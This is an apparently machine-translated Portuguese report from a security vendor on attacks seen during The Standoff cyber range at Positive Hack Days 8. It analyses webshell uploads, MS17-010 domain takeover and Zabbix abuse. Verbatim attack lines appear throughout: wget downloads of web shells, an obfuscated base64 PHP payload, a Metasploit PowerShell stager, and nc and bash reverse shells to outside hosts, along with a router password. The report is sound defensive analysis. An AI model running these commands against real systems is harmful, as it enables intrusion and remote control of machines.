Então, o próximo “confronto” terminou nos Dias Positivos de Hack 8. Desta vez, mais de cem pessoas participaram da luta: 12 equipes de atacantes, 8 equipes de defensores e uma cidade inteira que eles tiveram que atacar e defender.
Desta vez, o The Standoff contou com a presença não apenas de equipes de atacantes e defensores, mas os três produtos de nossa empresa assistiram a tudo o que aconteceu na rede de jogos:
Os três produtos foram monitorados pela equipe do centro de especialistas em segurança da Positive Technologies (PT ESC), que monitora tendências e eventos de jogos para informar os visitantes do centro de especialistas sobre isso.
Essa foi a primeira participação de uma equipe de especialistas e produtos e eles mostraram seu melhor lado: havia tantos dados que seriam suficientes para um grande relatório. As redes do escritório nº 2 da empresa integradora SPUTNIK e do escritório nº 1 da companhia de seguros BeHealthy acabaram sendo as mais interessantes e completas por descrição. O escritório nº 2 foi interessante, pois estava sob a supervisão do SOC RTK, mas não foi atendido por uma equipe de defensores e foi completamente invadido pelas equipes atacantes.
Gostaria de lembrar que, além de dois escritórios, a cidade possuía usina termelétrica e subestação, ferrovia, casas inteligentes com recuperação de energia e bancos com caixas eletrônicos.
Infraestrutura de jogosComo serão discutidos mais adiante os eventos nos escritórios # 1 e # 2 através do prisma do MaxPatrol SIEM, PT NAD e PT MultiScanner, com ênfase nos detalhes técnicos do hacking.
Diagrama lógico de um escritório de rede de jogos # 2:
O endereço das equipes atacantes é 172.31.x.0 / 24, onde x é o número de comando de 1 a 8. De fato, havia 12 equipes no total, mas devido à arquitetura da infraestrutura de rede da rede (o núcleo da rede foi emulado no Cisco CSR1000v) e o físico equipamento, foi possível organizar apenas 8 interfaces físicas de rede que foram trocadas por equipes em toda a área de jogo. Portanto, em quatro redes, duas equipes foram localizadas.
Na infraestrutura do Office # 2, quatro segmentos de rede foram alocados:
- DMZ (100.64.154.0/25);
- servidores (10.106.60.0/24);
- Funcionários da empresa (10.106.50.0/24);
- equipe defensora (10.106.82.0/24).
Os nós localizados na zona desmilitarizada estavam acessíveis pela rede para todos os atacantes. Ao acessar esses nós, os endereços de rede reais dos comandos NAT eram do pool 100.110.255.0/24, portanto, para os defensores não era fácil descobrir quem é o dono desse ou daquele tráfego de rede - essa poderia ser uma das 12 equipes atacantes ou um verificador de script legítimo, verificar a capacidade de manutenção dos serviços do mesmo pool de endereços dos invasores.
Para preencher nossos produtos com eventos sobre o que está acontecendo na infraestrutura de jogos, organizamos a remoção e o redirecionamento de uma cópia de todo o tráfego de rede no PT NAD, além de configurar uma auditoria extensa dos eventos dos sistemas de destino e organizar sua entrega ao MaxPatrol SIEM.
A análise de ataques com ênfase nas equipes pode ser encontrada em nosso outro
relatório sobre a Habr .
Joomla (100.64.154.147)
Um dos servidores no escritório 2 da DMZ era um servidor com o Joomla CMS. Poucas horas após o início do jogo, os primeiros sinais de comprometimento desse servidor apareceram no PT NAD - preenchimento de webshell a partir do pool de endereços IP "cinza":
Como mencionado, todas as sub-redes das equipes atacantes foram encerradas no mesmo ME (Attacker-FW) e, ao criar uma conexão com os objetos atacados, os endereços IP dos atacantes foram convertidos em endereços IP cinzentos a partir de um único pool (100.110.255.0/24). Portanto, para a personificação de ataques por comandos, um esquema foi implementado com o enriquecimento de gateways de acordo com a tabela NAT deste ME. No âmbito do MP SIEM, o enriquecimento foi o seguinte:
Essa abordagem nos permitiu determinar que esse ataque foi iniciado pela equipe nº 1. No entanto, devido ao uso do mesmo conjunto de endereços por equipes diferentes, não podemos determinar com segurança o nome da equipe mediante solicitação de uma rede específica e, para fins de mais narrações, nomearemos as equipes por seus números de rede.
Uma hora depois de tentar o comando nº 1, o PT NAD notou que o comando nº 8 estava sendo carregado em outro shell da web com o nome falante SHE __. Php, resultado de uma invasão de servidor ou uma simples verificação - não foi possível estabelecer com segurança, mas após alguns minutos do mesmo dia 8 O comando define uma sessão ssh de um usuário não privilegiado.
A senha desta conta estava no topo do dicionário rockyou e foi correspondida. O acesso à conta raiz da 8a equipe apareceu apenas por volta das 16:00, devido à participação do usuário no grupo com o direito de executar comandos sem senha da raiz. Podemos nos convencer disso nos logs do MP SIEM, que nos informam sobre o primeiro login como usuário e, em seguida, a escalação de privilégios com o comando sudo.
O tempo do log pode variar em 3 horas devido à configuração do servidor do jogo.
Na noite do primeiro dia do confronto, o sexto time tomou posse do Joomla. A NAD descobriu a exploração de uma vulnerabilidade, ou melhor, um
recurso por meio do qual a equipe carregou o amplamente conhecido shell da Web WSO e começou a interagir com ele.
100.110.255.160 - - [15/May/2018:09:39:31 -0700] GET /templates/beez3/index.php HTTP 100.110.255.160 - - [15/May/2018:09:39:35 -0700] POST /templates/beez3/index.php HTTP 100.110.255.160 - - [15/May/2018:09:39:35 -0700] GET /templates/beez3/index.php HTTP 100.110.255.220 - - [15/May/2018:09:39:56 -0700] POST /templates/beez3/index.php HTTP … 100.110.255.32 - - [15/May/2018:09:44:39 -0700] POST /templates/beez3/index.php HTTP 100.110.255.118 - - [15/May/2018:09:44:43 -0700] POST /templates/beez3/index.php HTTP 100.110.255.145 - - [15/May/2018:09:44:49 -0700] GET /templates/beez3/index.php HTTP
Vale ressaltar que o script usado pelos comandos para preencher as conchas,
requer uma conta de administrador, cuja senha foi selecionada usando outra
vulnerabilidade CVE-2017-14596 no mecanismo de autenticação no Joomla via LDAP: alterando a solicitação LDAP de autenticação, os atacantes captam rapidamente o login e a senha da conta do administrador.
E depois de meia hora, eles assumiram o controle de todo o sistema.
As equipes atacantes usaram a máquina capturada para reconhecimento adicional na rede do segundo escritório da SPUTNIK com os utilitários nmap e hping3. Podemos ter uma idéia de suas ações a partir dos dados do MP SIEM:
Exemplo da rede 2 do escritório de inteligência da DMZ (100.64.154.0/24) e da rede do time defensor (10.106.82.0/24):
Às 21:17, descobrimos que o cliente OpenVPN foi instalado e iniciado no servidor Joomla. A conexão foi estabelecida com o servidor 195.16.61.229, localizado em Moscou. Um pouco mais tarde, descobrimos que essas ações foram executadas por membros da equipe nº 6 e, portanto, a equipe conseguiu atrair recursos adicionais de computação e humanos localizados em um site remoto.
Toda a interação com o site remoto foi realizada dentro do túnel protegido, por isso é impossível estabelecer a natureza dessa interação e o grau de sua influência no jogo. Só podemos tirar conclusões indiretas, com base no número de sessões de VPN e na quantidade de dados transferidos.
Mas o mais interessante é que a equipe não limpou os rastreamentos - após o jogo, encontramos no servidor ovpn uma configuração contendo os certificados raiz e pessoais, a chave privada e os dados pessoais do proprietário da chave. Se você usa um mecanismo de pesquisa, não é difícil determinar a identidade real do proprietário sob o apelido phonexicum. O mapa completo com todas as conexões VPN durante o jogo pode ser examinado no final do artigo.
Outros eventos interessantes começaram a se desenvolver após a meia-noite (+3 horas para os registros).
O comando nº 4 do shell /id.php localiza o comando nº 1:
[15/May/2018:21:58:22 +0000] "GET /id.php HTTP/1.1 [15/May/2018:21:58:24 +0000] "GET /id.php HTTP/1.1 [15/May/2018:21:58:34 +0000] "GET /id.php?c=ls HTTP/1.1 [15/May/2018:21:58:38 +0000] "GET /id.php?cmd=ls HTTP/1.1 [15/May/2018:21:59:53 +0000] "GET /id.php?cmd=id HTTP/1.1 [15/May/2018:21:59:56 +0000] "GET /id.php?cmd=ls+-la HTTP/1.1
E imediatamente se fortalece no sistema, preservando o shell WSO da Web sob o nome 123.php
[15/May/2018:22:00:05 +0000] "GET /id.php?cmd=wget HTTP/1.1 [15/May/2018:22:00:10 +0000] "GET /id.php?cmd=wget -h HTTP/1.1 [15/May/2018:22:00:53 +0000] "GET /id.php?cmd=cat index.php HTTP/1.1 [15/May/2018:22:01:04 +0000] "GET /id.php?cmd=wget http://txt.731my.com/wso.txt -o 123.php HTTP/1.1
A primeira equipe hospedada até a equipe 4 descobriu isso algumas horas depois e, após uma breve discussão, renomeia o shell id.php para 021371b392f0b42398630fd668adff5d.php
[16/May/2018:00:06:13 +0000] "GET /id.php?cmd=id HTTP/1.1 [16/May/2018:00:06:26 +0000] "GET /id.php?cmd=ls HTTP/1.1 [16/May/2018:00:07:16 +0000] "GET /id.php?cmd=mv id.php 021371b392f0b42398630fd668adff5d.php HTTP/1.1
Posteriormente, 021371b392f0b42398630fd668adff5d.php foi substituído por kekekeke.php e kekpek.php
[16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1 (base64_decode (ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr ( [16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1 > Kekekeke.php HTTP [16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1
Os seguintes eventos na infraestrutura de domínio do escritório # 2 SPUTNIK estão intimamente relacionados ao que está acontecendo em Jumla.
SPUTNIK (10.106.60.0/24)
Depois que o Joomla foi perfurado, o atacante ganhou acesso aos segmentos internos da infraestrutura do SPUTNIK (Office # 2). Sem pensar duas vezes, a exploração do MS17-010 voa para o controlador de domínio WIN2008R2-DC.domain2.phd (10.106.60.10).
É mais conveniente observar a cronologia de outros eventos pelos gatilhos do MP SIEM:
O primeiro passo do invasor foi criar um usuário com o nome "nome de usuário" e a senha "1qazzaq!" e adicioná-lo ao grupo de administradores locais (tela 2). A exploração bem-sucedida de explorações do MS17-010 fornece acesso com privilégios NT-Authority \ System e, nos logs do Windows, esse acesso é exibido como win2008r2-dc $.
Em nome do novo usuário, cria alguns serviços que executam um certo script do PowerShell:
%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream([Convert]::FromBase64String(''H4sIAGRK+1...u9uxfACgAA'')))[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);""
Este script foi gerado pela estrutura do Metasploit. Seu objetivo é abrir o soquete na porta 55443 para escutar e executar a "carga útil" que veio a essa porta - presumivelmente Meterpreter.
Uma tentativa de iniciar um shell remoto foi bem-sucedida. Depois disso, os atacantes continuaram desenvolvendo o ataque e o nome de usuário cria outra conta com o nome "vitalik", adicionando-a ao grupo "Admins. Do Domínio" e logo após sua criação, vemos um logon interativo.
Enquanto a vitalik criou o serviço com o mesmo script PowerShell que o nome de usuário, o nome de usuário redefiniu massivamente as senhas da conta de domínio e ficou interessado no servidor de email de domínio Win2008R2-EXCH vizinho.
A atividade quase simultânea de usuários de nome de usuário e vitalik no servidor de domínio do Exchange (varredura e login) sugere que provavelmente vários membros da equipe examinaram a rede SPUTNIK ao mesmo tempo.
O vitalik verifica a disponibilidade do servidor de correio e inicia o console de gerenciamento do servidor após um login interativo.
Não encontrando nada que valha a pena, ele arrasta sua instrumentação e artilharia pesada para o host Win2008R2-DC - inúmeros scripts de powershell e a estrutura BloodHound aparecem no controlador de domínio, que é uma ferramenta popular para reconhecimento nas redes do Active Directory. Para acessar a interface da web do BloodHound, o participante teve que desativar o modo protegido no IE, que também foi detectado pelo SIEM.
A atividade BloodHound na rede não passou pelo PT NAD. Um dos recursos da ferramenta era verificar hosts na rede em busca de conexões ativas. Esse tráfego para o serviço SRVSVC é detectado por uma das assinaturas do PT NAD e indica inteligência dentro da rede:
Por volta de uma da manhã, os atacantes, depois de criarem uma cópia de sombra do disco usando o utilitário vssadmin, arrastaram o banco de dados ntds.dit contendo todas as contas de domínio. Depois de concluir esse ataque com sucesso, os atacantes assumem o controle completamente do domínio, recebendo o hash da conta especial “krbtgt” à sua disposição. A propriedade desta conta permite criar e usar o chamado. Golden Ticket - tíquete Kerberos para acesso ilimitado aos recursos no domínio, acesso aos servidores em nome de qualquer usuário existente e até inexistente e qualquer ação no domínio. O uso do Golden Ticket é bastante difícil de detectar usando equipamento de proteção, mas comprometer os links krbtgt e ntds.dit é muito mais fácil de detectar.
A equipe está passando gradualmente da pesquisa de domínio para a rede automatizada de sistema de controle de processo que foi aberta. Depois de arrastar os scanners Nmap para os funcionários da SPUTNIK - YLAVRENTIEV.sputnik.phd e EPONOMAREV.sputnik.phd, as redes foram varridas 172.20.xx. Os participantes usaram
nmap_performance.reg para alterar os parâmetros TCP / IP da pilha de janelas e acelerar a varredura da rede de controle de processos.
As conexões com os hosts no sistema de controle automático de processo da rede através dos túneis nos hosts do domínio SPUTNIK falam por si. Uma descrição do que os hackers fizeram na rede industrial pode ser encontrada no vídeo de nossos colegas no
YouTube .
Entre as outras conquistas dos atacantes, outros túneis, sessões ssh, avanços criativos após uma noite sem dormir no primeiro dia da competição e, é claro, mineiros de jogos estabelecidos que mineravam a moeda DDOS Coin também foram observados.
ZABBIX (100.64.100.161)
Localizado no escritório nº 1 da DMZ e orgulhosamente desempenhou seu papel até o meio-dia, foi invadido por uma equipe não identificada.
Não foi difícil encontrar credenciais de administrador e a equipe usou a funcionalidade zabbix interna para expandir ilimitadamente os recursos de monitoramento usando scripts personalizados.
Você pode usar qualquer comando linux nos scripts, que é o que as equipes membros usaram para criar shells e proxies de Socks.
command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=/bin/ping -c 3 {HOST.CONN} 2>&1 command=ls /bin/ command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=ping 8.8.8.8 command=ping 8.8.8.8; netstat -tulpn command=ping -n 4 8.8.8.8; netstat -tulpn command=ls /tmp/phd command=netstat -tulpn command=wget http://195.16.61.232:8888/x86_elf -O /tmp; ls /tmp command=ls /tmp command=curl http://195.16.61.232:8888/x86_elf --output /tmp/tmp.bin;ls /tmp command=ping -c 4 195.16.61.232 command=touch /tmp/test;ls /tmp/ command=pwd command=whoami command=ls /var/www/html command=which nc command=curl http://195.16.61.230/PHD/ --output /tmp/tmp.bin; ls /tmp command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1 command=chmod u+x /tmp/tmp.bin;/tmp/tmp.bin command=bash -i >& /dev/tcp/195.16.61.232/195 >&1 command=bash -i >& /dev/tcp/195.16.61.232/1950 0>&1 command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1
A equipe tentou baixar o módulo do servidor sob controle 195.16.61.232, mas sem sucesso:
Depois de um pouco de exploração do ambiente, instalei um shell bash remoto usando ferramentas linux padrão com o mesmo servidor, enviando pacotes diretamente para / dev / tcp /.
Não menos interessante foi o conteúdo do tráfego entre a equipe e os projéteis, que foi transmitido de forma clara e não passou pelos sensores PT NAD.
bash-4.2$ /tmp/gost -L socks4a://:1080 & bash-4.2$ gost -L=:54321 -F=10.100.50.48:3389 bash-4.2$ /tmp/gost -L socks4a://:1080 & bash-4.2$ nmap bash: nmap: command not found bash-4.2$ ifconfig bash-4.2$ ping 172.30.240.106 bash-4.2$ wget https://gist.githubusercontent.com/sh1n0b1/e2e1a5f63fbec3706123/raw/1bd5f119a7f1e2d4c9328d78686ae79b4e1642f7/linuxprivchecker.py bash-4.2$ python linuxprivchecker.py bash-4.2$ uname -a bash-4.2$ cd /etc/cron.daily: bash-4.2$ ./gost -L=tcp://:33899/10.100.50.39:3389 bash-4.2$ ./gost -L=tcp://:4455/10.100.50.39:445 & bash-4.2$ ./gost -L=tcp://:1139/10.100.50.39:139 & bash-4.2$ ./gost -L=tcp://:12345/10.100.60.55:3389 & bash-4.2$ ./gost -L=tcp://:12347/10.100.60.5:445 & bash-4.2$ ./gost -L=tcp://:12348/10.100.60.15:445 & bash-4.2$ ./gost -L=tcp://:12349/10.100.50.100:445 & bash-4.2$ ./gost -L=tcp://:12350/10.100.80.28:445 & bash-4.2$ ./gost -L=tcp://:12351/10.100.80.23:445 & bash-4.2$ ./gost -L=tcp://:12352/10.100.80.30:445 & bash-4.2$ ./gost -L=tcp://:12353/10.100.80.32:445 & bash-4.2$ ./gost -L=tcp://:12354/10.100.80.26:445 & bash-4.2$ ./gost -L=tcp://:12355/10.100.80.5:445 & bash-4.2$ ./gost -L=tcp://:12356/10.100.80.9:445 & bash-4.2$ ./gost -L=tcp://:12357/10.100.80.23:445 & bash-4.2$ ./gost -L=socks5://:1081 &
Como podemos ver, o servidor ZABBIX foi usado principalmente como ponte para o reconhecimento das sub-redes de escritórios nº 1: 10.100.50.0/24 (Usuários), 10.100.60.0/24 (Servidores) e 10.100.80.0/24 (SecurityTeam).
Multiserver (100.64.100.167)
O Multiserver é outro host Linux no escritório nº 1 da DMZ, com um par de servidores HTTP e um banco de dados MySQL a bordo. Embora o multiserver tenha sido submetido a uma varredura intensiva, houve apenas alguns ataques bem-sucedidos. O host continha a vulnerabilidade SambaCry 2017, encontrada após as vulnerabilidades MS17-010, e as equipes tentaram usá-la. O filtro PT NAD permite localizar suas tentativas na linha do tempo:
O carregamento em uma das tentativas do comando nº 3 foi a biblioteca executável DTECJtAf.so. E, julgando pelo nome da biblioteca, os membros da equipe usaram o módulo is_known_pipename do Metasploit Framework. Prova:
Durante o confronto, os especialistas foram assistidos pelo PT MultiScanner, que verificou todos os arquivos voando pela rede que foram notados pelo PT NAD. Após alguns momentos, ele emite um veredicto para o DTECJtAf.so voando pela rede: Linux / SmbPayload.C
A julgar pela falta de interações de rede adicionais entre o servidor e o comando nº 3, a exploração não trouxe sucesso. No entanto, quase ao mesmo tempo, vemos uma sessão SSH ativa da equipe nº 4. Pelo volume de tráfego transmitido, podemos julgar que os invasores usaram o servidor ao máximo.
De um modo geral, o primeiro login SSH bem-sucedido do usuário administrador da equipe nº 4 aconteceu por volta das 15h20 do primeiro dia da competição:
Como qualquer invasor decente, o login é seguido pela verificação de privilégios e reconhecimento no host:
E além:
Com facilidade, realizamos a atribuição do invasor pelo idioma:
O multiservidor não recebeu a configuração adequada e não se sabe ao certo quais outras tentativas as equipes fizeram. A julgar pelos logs disponíveis, esse host, assim como outros hosts no escritório nº 1 da DMZ, serviu como ponto de partida para explorar a infraestrutura interna do escritório.
Mis
Outros anfitriões também se tornaram o foco de atenção das equipes. Por exemplo, os participantes se comportaram com curiosidade em relação ao roteador Mikrotik em 100.64.100.237 na rede DMZ do Office # 1. Por volta das duas horas da manhã do segundo dia do confronto, um login bem-sucedido no console do roteador Telnet com o par "admin: VxPvRxX74e8xrbia77hsi7WKm" foi bem-sucedido. A versão do firmware do dispositivo era 6.38.4 - esta é a versão na qual foi testada a famosa exploração do Chimay Red Stack Clash para Mikrotik, que permitiu executar qualquer código no dispositivo e, em particular, extrair senhas de usuários no roteador. Uma vulnerabilidade de exploração foi descoberta pelo PT NAD.
Mas então, na área de almoço, a equipe que primeiro pegou o roteador decidiu fechar o buraco com uma simples atualização de firmware e monopolizar o acesso:
Este é um dos poucos exemplos em que uma equipe de participantes fecha um buraco no sistema para que outras equipes não possam capturar esse host.
O PT MultiScanner detectou um evento curioso:
Para acessar o banco, as equipes podem usar o cliente do banco disponível no site. O site está localizado na rede bancária, sob a supervisão de uma equipe de defensores, e eles
construíram o cliente usando a estrutura Metasploit e a substituíram pela original. Felizmente para os defensores, o cliente interno foi baixado por várias equipes, como podemos ver na captura de tela do PT MultiScanner acima. Nenhuma conexão bem-sucedida foi notada, mas vale a pena mencionar o caso, porque esses cenários ocorrem nos programas Trojan de invasores da vida comum em sites oficiais ou substituem as atualizações para lançar ataques aos clientes.
Mineiros
Outra inovação em The Standoff foi o advento dos mineiros de jogos. Segundo a lenda, as equipes poderiam usar os servidores capturados como mineradores, o que lhes trouxe pontos extras. Em vez de criptomoedas tradicionais, eles extraíram o DDoS Coin - a moeda equivalente ao esforço gasto em um ataque DDoS a um servidor. Os dados dos handshakes TLS 1.2 serviram como prova de trabalho e quanto mais o mineiro fazia handshakes TLS com o servidor de destino, maior era a probabilidade de encontrar um novo bloco e receber sua recompensa do organizador do ataque DDoS.
O cliente foi escrito em Go e poderia funcionar no Windows e Linux. A idéia foi aplicada pela primeira vez e, embora nem todas as equipes tenham conseguido aplicá-la, as tentativas de iniciá-lo foram vistas em muitos servidores da infraestrutura de jogos:
Tentativa de executar o minerador no nó Joomla (100.64.154.147)
Executando o mineiro a partir da infraestrutura SPUTNIK (10.106.60.0/24)
Como parte do jogo, as equipes podem minerar criptomoeda e trocá-lo por pontos de jogo. Metade das equipes conseguiu usar os servidores capturados anteriormente para extrair blocos. Havia também um componente de troca na lógica do jogo - com uma mudança acentuada na quantidade de moeda extraída, sua taxa de câmbio diminuiu. Assim, foi possível realizar operações especulativas e ganhar pontos sem concluir tarefas básicas. Mas como essa idéia não foi aplicada anteriormente em tais jogos, as equipes não puderam usá-la adequadamente e isso não afetou significativamente o curso do jogo.
Em termos de número de blocos minerados, a equipe do Cazaquistão CARKA assumiu a liderança, que foi a primeira a lançar mineradores na infraestrutura de jogos. Aqui fomos capazes de nos afastar dos números de rede das equipes para seus nomes devido ao fato de que seus identificadores incluíam informações sobre o bloco e foram levados em consideração ao calculá-los. Em geral, a ideia se mostrou boa, e com certeza pode ser vista no próximo The Standoff.
Em vez de saída
Last Standoff foi quente - 12 equipes exploraram ativamente e invadiram a infraestrutura da cidade. Nossos produtos nos permitiram "espionar" exatamente como os participantes do jogo agiram, quais táticas e ferramentas eles escolheram e qual se tornou seu objetivo. Testemunhamos como eles interagiram com a infraestrutura de domínio do escritório, começando com a infecção de uma máquina e terminando com a apreensão de todo o domínio e a transição para a próxima rede ACS. Durante um evento como o The Standoff, os produtos têm uma carga enorme: o MaxPatrol SIEM lidou com 20.000 EPS e o PT NAD processou mais de 3 terabytes de tráfego de rede nos dois dias, sem mencionar a própria infraestrutura de rede: roteadores, comutadores e firewalls.
Esse comprometimento de escritórios virtuais poderia acontecer com escritórios reais sem os meios adequados de proteção e controle. Como regra, isso leva ao vazamento de dados valiosos, como correspondência, dados financeiros e dados pessoais de funcionários / usuários.
Entre as inúmeras varreduras, brutamontes e tentativas de explorar todos os tipos de vulnerabilidades, os produtos ajudaram a determinar como os servidores de infraestrutura de jogos foram invadidos. Foram determinados ataques bem-sucedidos e traços de comprometimento bem-sucedido, como shells da web, consoles remotos, túneis e logins de host. Tudo isso ajuda os especialistas a melhorar os produtos.
Nesta captura de tela das estatísticas das conexões VPN das equipes durante o jogo, você pode ver como o The Standoff era internacional: as conexões VPN foram estabelecidas com servidores nos Estados, Cazaquistão, Holanda e metade da Europa! A propósito, não havia equipes dos Estados Unidos ou da Europa no The Standoff, mas havia uma equipe do Cazaquistão.